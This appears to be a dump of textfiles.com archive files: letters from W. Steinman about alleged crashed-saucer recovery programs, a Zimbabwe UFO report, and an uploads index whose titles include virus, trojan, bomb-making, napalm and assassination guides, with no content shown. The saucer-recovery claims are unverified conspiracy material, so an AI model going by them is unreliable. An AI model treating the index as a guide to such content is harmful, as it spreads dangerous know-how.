I suppose that Moseley contacted you as pertaining to Dr. Robert
I. Sarbacher. This only proves one thing to me; Moseley is just as
interested in the Crash-Recovery cases as he was in 1954.
Stan, I am not doing research for Todd Zechel, altho I did have
an earlier run-in with him, which I later regreted. My main goal is
to solve the Flying Saucer Enigma, through the recovery and attempted
duplication cases.
Please let me know what you find out through Dr. Walker, and do
keep in touch.
Very Sincerely
WM Steinman


59
textfiles.com/ufo/wsslet2.ufo Normal file
View File

@@ -0,0 +1,59 @@
William S. Steinman
15043 Rosalita Dr.
La Mirada, Calif.
90638
Stanton T. Friedman
110 Kings College Rd.
Fredericton, New Brunswick
Canada
E2B 2E7
May 18, 1984
Dear Stan:
This is a follow-up to my letter to you, dated 3-21-84, Ref.
Members of The Research and Development Board in 1949 and 1950 - Dr.
Eric A. Walker in particular.
I understand, through Bill Moore, that you have contacted Dr.
Eric A. Walker, and that you feel quite sure that he is the man that
Sarbacher mentioned who attended all of the crashed-recovered saucer
meetings. Has he given you any indication that he was briefed officially
on that critical subject matter? If so, just exactly what did he tell you?
Could you forward his latest mailing address to me?
I have been working on the roll that Army Counterintelligence
played in the recovery of the flying saucers and have come up with some
quite substantial leads. Also, as Bill Moore has probably already
shared with you, I have contacted and interviewed Mrs. Eric Henry Wang,
who verified that her husband was involved with the recovery, analysis,
and attempted duplication of flying saucers. Through her, I also obtained
the name of the man who was, and may still be, in charge of the whole
flying saucer program. He, at least, was the man who Dr. Wang reported to
and who visited at the Wang residence quite frequently. He may be the man
who originated and maintains the security lid which so tightly covers the
whole program. She gave me this mans name, when I explained to her, in
such an emphatic way, that my main goal is (which it really is) to persuade
the government, to turn these flying saucers over to the total scientific
community for the proper attention that they deservd. Moore probably
discussed this mans name to you (H.A.K.).
Stan, I understand that we are stirring up that "can of worms",
officials are becoming very concerned. I believe that is necessary to
preclude the lifting of the 37+ years old security lid. The hinges to the
lid are rusty, the key may be hard to turn in the lock; but with a little
oil applied, I believe we will succeed. But I hope the lid isnt really the
lid to "Pandoras Box".
Please get back with me as soon as you possible can, and please
continue to "work on" Dr. Eric A. Walker.
Very Sincerely
WM Steinman
P.S. - Read Dr. H.A.K (Henry Kissenger) impressive early biographys
He was in Army Counterintelligence (1942-1958) He was a
consultant to the Psychological Strategy Board (1952), He
was a consultant to several govt. Projects involving security,
weaponery, etc, etc.


33
textfiles.com/ufo/zimufo.txt Normal file
View File

@@ -0,0 +1,33 @@
Zimbabwe UFO
Back in 1985, a round object topped with a cone was seen by dozens of people
over the skies of Zimbabwe. With pilots, air traffic controllers, and
civilians among the witnesses, that country turned to aeronautical experts
for an explanation. Now, a year and a half later, Zimbabwe's Air Commodore
David Thorne sees no explanation in sight. "We have not been able to
identify the object," he says. "We have had to classify it as a UFO."
Although he didn't personally witness the object, Thorne reports that "the
craft was spotted as it streaked over southern Zimbabwe. Then air traffic
controllers watched it hover and tracked it on radar. 2 Air Force jets went
after the object, and the pilots described it as incredibly shiny, reflecting
the colors of the sunset. Our estimates indicate that the UFO was traveling
at twice the speed of sound. And when it got dark outside, we realized the
object was emitting its own light. Our pilots are completely reliable,"
Thorne contends. "This cannot be dismissed as a plane, weather balloon, or
natural phenomenon."
But UFO skeptic James Oberg has his doubts. "The evidential value of
unresearchable sightings in Zimbabwe is zero, however sincere the witnesses,"
he says. "Besides, pilots are not always calm, dispassionate observers.
They tend to perceive any visual stimulus in its most dangerous possible
configuration -- as another craft. That's a good characteristic of a safe
pilot, but not a good characteristic of a UFO witness." Oberg also points out
that "Zimbabwe is sort of on the edge of the civilized world in terms of
tracking things that might cause this kind of UFO report -- like Russian and
South African reconnaissance planes that, I'm sure, are flying over that
airspace."


719
textfiles.com/uploads.1 Normal file
View File

@@ -0,0 +1,719 @@
<HTML>
<TITLE>T E X T F I L E S</TITLE>
<BODY BGCOLOR="#000000" TEXT="#00FF00" LINK="#00FF00" ALINK="#00AA00" VLINK="#00AA00">
<H1>Uploads: Generation TXT</H1>
<P>
While people who read the textfiles.com site might think that the world of g-files and
text-only BBSes is dead and gone, there are actually many people who keep the faith,
having information they want to see spread far and wide, and writing textfiles to get
the word out. While the subjects are newer
and the writing more internet-minded, the themes and forces touched upon in other
files appear here as well, showing that the spirit is alive and thriving.
<P>
When BBSes were the way to get textfiles, you always shot over to the "Uploads" section
to see what people had just added to the system, so you could get it first. That's where
the name of this section comes from. In actuality, if you have a file you've just written
you want to see up here, send mail to <A HREF="mailto:jason@textfiles.com">jason@textfiles.com</A>.
<P>
Note, by the way, that because ALL the new files are being put here, it's a bit of a mish-mash.
Just like the old days!
<P>
<I>As time is going on, people have donated files with the same bad ideas
about drugs, vandalism and the ol' boom-boom; hopefully in a mere homage
to files of old. Don't follow instructions you find in random
textfiles on the internet; it just leads to tears.</I>
<P>
<TABLE WIDTH=100%>
<TD BGCOLOR=#00FF00><FONT COLOR=#000000><B>Filename</B><BR></FONT></TD>
<TD BGCOLOR=#00DD00><FONT COLOR=#000000><B>Size</B><BR></FONT></TD>
<TD BGCOLOR=#00AA00><FONT COLOR=#000000><B>Description of the Textfile</B><BR></TD></TR>
<tab indent=60 id=T><br>
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/001.txt">001.txt</A> <tab to=T><TD> 2873<BR><TD> Oiling, from Pyros The Leprechaun (August 31, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/002.txt">002.txt</A> <tab to=T><TD> 3244<BR><TD> How to Make Smoke Bombs if You Don't Own a Mobile Laboratory, by Pyros The Leprechaun (August 31, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/10trash.txt">10trash.txt</A> <tab to=T><TD> 1713<BR><TD> 10 Ways to Completely Trash Someone's Property, by Mantis (July, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/123vbs.vir">123vbs.vir</A> <tab to=T><TD> 3988<BR><TD> How to Make a VBS (Visual Basic Script) Virus by Sick66 (August 15, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/1killerhigh.txt">1killerhigh.txt</A> <tab to=T><TD> 4788<BR><TD> A California High, by Diabolus (November 27, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/2001.txt">2001.txt</A> <tab to=T><TD> 349098<BR><TD> Soren Greenwood's Conspiracy Theory to Explain all Other Conspiracy Theories (January 10, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/20thviruses.txt">20thviruses.txt</A> <tab to=T><TD> 22781<BR><TD> The 20th Century: Computer Virus History, by Paranoidxe (April 21, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/256sysclr.txt">256sysclr.txt</A> <tab to=T><TD> 2180<BR><TD> Adding 256 Colors to Systray, by ParanoidXE (2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/2kboot.txt">2kboot.txt</A> <tab to=T><TD> 2728<BR><TD> Replacing the Windows 2000 Boot Screen, by ParanoidXE (May 17, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/2killerhigh.txt">2killerhigh.txt</A> <tab to=T><TD> 3607<BR><TD> The New Jersey High, by Abstracted (November 28, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/2ktips.txt">2ktips.txt</A> <tab to=T><TD> 97168<BR><TD> Windows 2000 Tips and Tricks, by ParanoidXE (December 17, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/2waymir.txt">2waymir.txt</A> <tab to=T><TD> 5009<BR><TD> How to Make a Two-Way Mirror, by ZERO (October 14, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/3scams.txt">3scams.txt</A> <tab to=T><TD> 2639<BR><TD> 3 Cool Scams by Dizzie (1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/508752.txt">508752.txt</A> <tab to=T><TD> 5356<BR><TD> The 508-852 Wardial Report, by NO CARRIER (December 25, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/5steplockp.txt">5steplockp.txt</A> <tab to=T><TD> 3401<BR><TD> A 5 Step Guide to Making Lock Picks with Household Items, by Steve R. (July 21, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/800326carrier.txt">800326carrier.txt</A> <tab to=T><TD> 6839<BR><TD> The 1-800-326-XXX Scan List, by NO CARRIER (March 26, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/80040100xx.txt">80040100xx.txt</A> <tab to=T><TD> 6003<BR><TD> A Scan of 800-401-00xx by Jenn (2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/80055500xx.txt">80055500xx.txt</A> <tab to=T><TD> 6315<BR><TD> A Scan of 1-800-555-00XX by Jenn (1997)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/80055500xx2.txt">80055500xx2.txt</A> <tab to=T><TD> 6610<BR><TD> A Scan of 800-555-00xx by Jenn (June 12, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/919439scan.txt">919439scan.txt</A> <tab to=T><TD> 1988<BR><TD> A Scan of 919-493-99xx by Against Me! (January 17, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/98install.txt">98install.txt</A> <tab to=T><TD> 2956<BR><TD> A Windows 98 Installation Guide by ParanoidXE (2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/9satan.txt">9satan.txt</A> <tab to=T><TD> 6179<BR><TD> The Nine Satanic Statements and Sins (May, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/9xtcpip.txt">9xtcpip.txt</A> <tab to=T><TD> 968<BR><TD> Reinstalling TCP/IP under Windows 95/98, by ParanoidXE (April 12, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ablabap.txt">ablabap.txt</A> <tab to=T><TD> 32190<BR><TD> A Broad Look at American and British Phreaking, by DUO_PROS (Happy McSmith) (February, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/abortion.txt">abortion.txt</A> <tab to=T><TD> 3814<BR><TD> A Few Random Thoughts on Abortion (February, 2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/acbhistory.txt">acbhistory.txt</A> <tab to=T><TD> 5339<BR><TD> The History of the Internet's Anarchist Cookbook, by Zero (November 18, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ad1100whack.txt">ad1100whack.txt</A> <tab to=T><TD> 11212<BR><TD> The Apex AD1100W Region/MV Hack, by ParanoidXE (January 22, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/aer.txt">aer.txt</A> <tab to=T><TD> 769<BR><TD> Fun With an Aerosol Can, Part 1 of Maybe 2, by Paco (April 2, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/airkaos.txt">airkaos.txt</A> <tab to=T><TD> 1744<BR><TD> How to Make Airplane Rides Fun, by Sheer Black (July, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/alabamsonm.txt">alabamsonm.txt</A> <tab to=T><TD> 2473<BR><TD> Alabama Son to Alabama Mother (Response to "Letter from Alabama Mom to Alabama Son") (June 23, 2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/alcohol.txt">alcohol.txt</A> <tab to=T><TD> 21622<BR><TD> Homemade Alcohol Version 2 by Zero (June 22, 2011)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/amazingmemories.txt">amazingmemories.txt</A> <tab to=T><TD> 5070<BR><TD> Amazing Memories, by Scott Morrow, from Maritime Computer Connections Magazine 9September, 1996)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ammo.txt">ammo.txt</A> <tab to=T><TD> 3417<BR><TD> How to Properly Care for Ammo in South Africa, by Adamantium (February, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/anarchy.txt">anarchy.txt</A> <tab to=T><TD> 8560<BR><TD> Cola Presents: Fred the Elite Hacker Versus Ronald McDonald (March 6, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/anarchytoday.txt">anarchytoday.txt</A> <tab to=T><TD> 1542<BR><TD> Anarchy of Today, by Pyromania (October 10, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/anarchytruth.txt">anarchytruth.txt</A> <tab to=T><TD> 10188<BR><TD> The Truth of Being an Anarchist: What All Should Know, by Unknwon (February 6, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/anarchyutopia.txt">anarchyutopia.txt</A> <tab to=T><TD> 6969<BR><TD> The Anarchist Utopia (May, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/anitrate.txt">anitrate.txt</A> <tab to=T><TD> 982<BR><TD> Amonium Nitrate Noise Maker: by MaDDaX
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/annoyneigh.txt">annoyneigh.txt</A> <tab to=T><TD> 1871<BR><TD> Dealing with Annoying Neighbors, by Sweeper09 (August 25, 2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/anthrax.txt">anthrax.txt</A> <tab to=T><TD> 2601<BR><TD> Anthrax Information, by SamDaMan (October 11, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/antiantimuslim.txt">antiantimuslim.txt</A> <tab to=T><TD> 5848<BR><TD> Anti AntiMuslims, by Jez Hunter (Stable Eyes) (January 16, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/antiavtech.txt">antiavtech.txt</A> <tab to=T><TD> 11762<BR><TD> Anti-AV Techniques for Batch by cOrRuPt G3n3t!x (2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/antimuslims-redux.txt">antimuslims-redux.txt</A> <tab to=T><TD> 8634<BR><TD> The Author of "Message to Muslums" writes in, years later. (May, 2014)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/antimuslims.txt">antimuslims.txt</A> <tab to=T><TD> 5903<BR><TD> Message for Muslims, an Anti-Muslim Rant by Mantis (Stan Walker) (July 24, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/antimuslimsrebut.txt">antimuslimsrebut.txt</A> <tab to=T><TD> 2098<BR><TD> Rebuttal to Antimuslims.txt: We are Not, by Scrolllock (August 24, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/antipiracy.txt">antipiracy.txt</A> <tab to=T><TD> 9378<BR><TD> Anti-Piracy Fixed by Real Internet People, by Pyromania (May, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/aodvol1.txt">aodvol1.txt</A> <tab to=T><TD> 44282<BR><TD> Anarchy or Death Volume 1 (March 1, 2014):w
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/apple2gscracks.txt">apple2gscracks.txt</A> <tab to=T><TD> 53158<BR><TD> Apple IIgs Cracks by Brian A. Troha (February, 2014)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/apsara.txt">apsara.txt</A> <tab to=T><TD> 398506<BR><TD> Ouroboros: The Snake Eats Its Own Tail, or What Goes Around Comes Around, by Andy Thomas (2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/article1.txt">article1.txt</A> <tab to=T><TD> 6046<BR><TD> How to Have Fun at Night (Anarchy Style) by Shadow Wolf (September 15, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/article2.txt">article2.txt</A> <tab to=T><TD> 2295<BR><TD> How to Make Napalm, by Shadow Wolf (September 15, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/article3.txt">article3.txt</A> <tab to=T><TD> 2638<BR><TD> How to Make a CO2 Bomb, by Shadow Wolf (September 15, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/article4.txt">article4.txt</A> <tab to=T><TD> 1361<BR><TD> Stay Out of My Way! by Shadow Wolf (September 15, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/article5.txt">article5.txt</A> <tab to=T><TD> 2049<BR><TD> Who the Hell is Shadow Wolf? By Shadow Wolf (September 15, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/assassinate.txt">assassinate.txt</A> <tab to=T><TD> 8214<BR><TD> The Handbook of Assassination v1.0 by Acidous (October 11, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/atschool.txt">atschool.txt</A> <tab to=T><TD> 4968<BR><TD> Just a Bit More Fun at School, by Avatar
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/autofirebomb.txt">autofirebomb.txt</A> <tab to=T><TD> 4576<BR><TD> Making an Autofire Bomb by Strych9 Milksheikh (May, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/autofirebomb2.txt">autofirebomb2.txt</A> <tab to=T><TD> 4878<BR><TD> The Revised Autofire Bomb, by Strych9 Milksheikh (July 1, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/autopsy.txt">autopsy.txt</A> <tab to=T><TD> 45461<BR><TD> Autopy of Two Successful Intrusions, by Floydman (August 30, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/avoid.txt">avoid.txt</A> <tab to=T><TD> 3265<BR><TD> How to Avoid the Police in the UK, by TikTaq (April 4, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/avschoolfun.txt">avschoolfun.txt</A> <tab to=T><TD> 4938<BR><TD> The Avatar Presents: Just a Bit More Fun At School (September 21, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/awesomepayloads.txt">awesomepayloads.txt</A> <tab to=T><TD> 14284<BR><TD> Awesome Batch Payloads by cOrRuPt G3n3t!x (2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/badging.txt">badging.txt</A> <tab to=T><TD> 961<BR><TD> Car Badges, by The Phantom of Cars (February, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/balloon.txt">balloon.txt</A> <tab to=T><TD> 707<BR><TD> Making a Magic Balloon, by Dizzie
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/bannerhack.txt">bannerhack.txt</A> <tab to=T><TD> 384<BR><TD> Taking Banners Off of your Free Webpages, by 007 (February 20, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/barcode.txt">barcode.txt</A> <tab to=T><TD> 2065<BR><TD> The Bar Code Scam, by Insane Killa (July 7, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/barcodes.txt">barcodes.txt</A> <tab to=T><TD> 7528<BR><TD> The Bar Codes, by Anonymous (Conspiracy) (March 10, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/basicviruses.txt">basicviruses.txt</A> <tab to=T><TD> 16388<BR><TD> The Basic Concepts of PC Viruses, by paranoidxe (April 22, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/bassguitar.txt">bassguitar.txt</A> <tab to=T><TD> 4309<BR><TD> A Simple Guide for Learning to Play Bass Guitar or Regular Guitar, by Beigebox (December 24, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/batch.txt">batch.txt</A> <tab to=T><TD> 3077<BR><TD> Arrays in Batch Files by Jakash3 (December, 2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/batchirc.txt">batchirc.txt</A> <tab to=T><TD> 13781<BR><TD> Batch IRC/Outlook Spreading by cOrRuPt G3n3t!x (2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/batchmemory.txt">batchmemory.txt</A> <tab to=T><TD> 14315<BR><TD> Meanderings: Theory on Batch Memory Residency Techniques by cOrRuPt G3n3t!x (2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/batchprank.txt">batchprank.txt</A> <tab to=T><TD> 566<BR><TD> Batch File: The Batch Prank, by Cleptice (June 11, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/batchstartup.txt">batchstartup.txt</A> <tab to=T><TD> 9158<BR><TD> Tutorial: Batch Startup Techniques by cOrRuPt G3n3t!x (2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/batchtheory.txt">batchtheory.txt</A> <tab to=T><TD> 8636<BR><TD> Meanderings: Theory on Batch Keylogging by cOrRuPt G3n3t!x (2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/battleroyale.txt">battleroyale.txt</A> <tab to=T><TD> 137844<BR><TD> BATTLE ROYALE by Kenji Fukasaku: Translation of text from subtitles by Gregory Pietcsh (November, 2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/battleroyale2.txt">battleroyale2.txt</A> <tab to=T><TD> 144449<BR><TD> BATTLE ROYALE by Kenji Fukasaku: Translation of text from subtitles by Gregory Pietcsh (March, 2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/batviri.txt">batviri.txt</A> <tab to=T><TD> 4432<BR><TD> How to Make a Bat Virus by SKK66
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/batviri2.txt">batviri2.txt</A> <tab to=T><TD> 2554<BR><TD> A Batch File Virus for Windows 9X/2000/ME/XP, by 007 (February 20, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/bbgun.txt">bbgun.txt</A> <tab to=T><TD> 4594<BR><TD> A Homemade BBS Gun by Mearl Man (April, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/bbmhak.txt">bbmhak.txt</A> <tab to=T><TD> 7173<BR><TD> The Big Book of Modern Mischief by Hakka (February 9, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/bbsing.txt">bbsing.txt</A> <tab to=T><TD> 9480<BR><TD> The Lost Art of BBSing, by Mob Boss (April 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/bbslist.txt">bbslist.txt</A> <tab to=T><TD> 1607<BR><TD> A Hacking/Phreaking BBS List, by Mob Boss (June 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/bc-newsletter-1.txt">bc-newsletter-1.txt</A> <tab to=T><TD> 14408<BR><TD> BlackCode Ravers Mailing List Issue #1
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/beepdetonate.txt">beepdetonate.txt</A> <tab to=T><TD> 1497<BR><TD> The Beeper Detonator, by Acidous (October 12, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/beginners.txt">beginners.txt</A> <tab to=T><TD> 17022<BR><TD> Hacking Windows for the Complete Newbie, by SLIPStream (December, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/begphreaking.txt">begphreaking.txt</A> <tab to=T><TD> 15323<BR><TD> The Beginner's Guide to Phreaking, by Akurei (June 25, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/begtrojhak1.txt">begtrojhak1.txt</A> <tab to=T><TD> 7545<BR><TD> The Beginners' Guide to Trojan Hacking: Volume 1: Netbus by Weapon N (January 1, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/begtrojhak2.txt">begtrojhak2.txt</A> <tab to=T><TD> 8919<BR><TD> The Beginner's Guide to Trojan Hacking Volume 2: Back Orifice 2K, by Weapon N (January 17, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/begtrojhak3.txt">begtrojhak3.txt</A> <tab to=T><TD> 9146<BR><TD> The Beginner's Guide to Trojan Hacking: Volume 3: Extras, by Weapon N (August 8, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/beigebawx.txt">beigebawx.txt</A> <tab to=T><TD> 3933<BR><TD> Building a Beige Box (Simplified) by Akurei (August 11, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/beigeboxen.txt">beigeboxen.txt</A> <tab to=T><TD> 4348<BR><TD> The Beige Box, by N3cr0man3r (September, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/beinghacker.txt">beinghacker.txt</A> <tab to=T><TD> 46787<BR><TD> Hacker Being: On the Meaning of Being a Hacker, by Valerio Elf Qrin Capello (March 26, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/bellvans.txt">bellvans.txt</A> <tab to=T><TD> 8497<BR><TD> Building Fake Bell Vans for Fun and Profit, by DialTone (2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/bergeron.txt">bergeron.txt</A> <tab to=T><TD> 13269<BR><TD> REPORT: Harrison Bergeron, by Kurt Vonnegut, Jr. by Spyhunter
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/betterfree_magz.txt">betterfree_magz.txt</A> <tab to=T><TD> 651<BR><TD> A Better Way to Get Free Magazines, by Strych9 Milksheikh (July 1, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/betterfree_nps.txt">betterfree_nps.txt</A> <tab to=T><TD> 470<BR><TD> A Better Way to Get Free Newspapers, Strych9 Milksheikh (July 1, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/bibleshid.txt">bibleshid.txt</A> <tab to=T><TD> 6090<BR><TD> NGSAM Presents: Bible Shid, by Draxamus (January 14, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/billjk.txt">billjk.txt</A> <tab to=T><TD> 4140<BR><TD> The Mosquito that Bit Bill Gates, by Karthik (J.K.) (July, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/bintutorial.txt">bintutorial.txt</A> <tab to=T><TD> 5838<BR><TD> A Binary Tutorial for Beginners, by David Carlton (July 19, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/bl0w001.txt">bl0w001.txt</A> <tab to=T><TD> 6882<BR><TD> Basic Language for Oniric Warp Issue #1 by Gen0iced (2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/bl0w002.txt">bl0w002.txt</A> <tab to=T><TD> 4988<BR><TD> Bl0W Issue #2 by Gen0iced (2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/black2.txt">black2.txt</A> <tab to=T><TD> 29538<BR><TD> BlackCode Ravers Magazine Issue #2
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/blackops.txt">blackops.txt</A> <tab to=T><TD> 17027<BR><TD> Black Ops, by MRDark, of The Militia (February, 2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/blastingcaps.txt">blastingcaps.txt</A> <tab to=T><TD> 12061<BR><TD> Creating Blasting Caps (Unknown) (July 27, 2010)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/bodspray.txt">bodspray.txt</A> <tab to=T><TD> 1049<BR><TD> Fun with Bod-Spray, by Da Phontom and BKJKHKER (June 8, 2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/bong.txt">bong.txt</A> <tab to=T><TD> 1682<BR><TD> Making your Very Own Bong that you can Reuse, by Phish
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/booknotnamed.txt">booknotnamed.txt</A> <tab to=T><TD> 18398<BR><TD> The Book That Shall Not Be Named, by H. R. Puff 'n' Stuff (December, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/bookofformulas.txt">bookofformulas.txt</A> <tab to=T><TD> 50586<BR><TD> The Ancient Book of Formulas, by Lewis De Claremont (Transcription of Public Domain Book) (2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/bootstrap.txt">bootstrap.txt</A> <tab to=T><TD> 36583<BR><TD> Better Homes and Bootstrapping 0.03b by ME-Tan (April-May, 2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/bopse.txt">bopse.txt</A> <tab to=T><TD> 5067<BR><TD> The Birth of Phreaking, by Durandal of SoldierX.COM and the Legion of the Damned (May, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/bordem.txt">bordem.txt</A> <tab to=T><TD> 3232<BR><TD> Ways to Erase Boredom from Your life, by MassExodus / Darksintext (February, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/boredom.faq">boredom.faq</A> <tab to=T><TD> 1880<BR><TD> The Boredom FAQ, by Cobalt (October 10, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/brobbery.txt">brobbery.txt</A> <tab to=T><TD> 3892<BR><TD> How to Commit a Bank Robbery, by Dope (January 2, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/bt.txt">bt.txt</A> <tab to=T><TD> 1852<BR><TD> How to Write Batch Trojans (April, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/bungee.box">bungee.box</A> <tab to=T><TD> 3127<BR><TD> The Bungee Box by Captain B (February 1, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/burn.txt">burn.txt</A> <tab to=T><TD> 2234<BR><TD> Burning a Hole in Space-Time: A Collection of Poetry from 6billionhosts (June, 2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/burnmovies.txt">burnmovies.txt</A> <tab to=T><TD> 1322<BR><TD> How to Burn Movies, from Acid Pool (February 5, 2006)
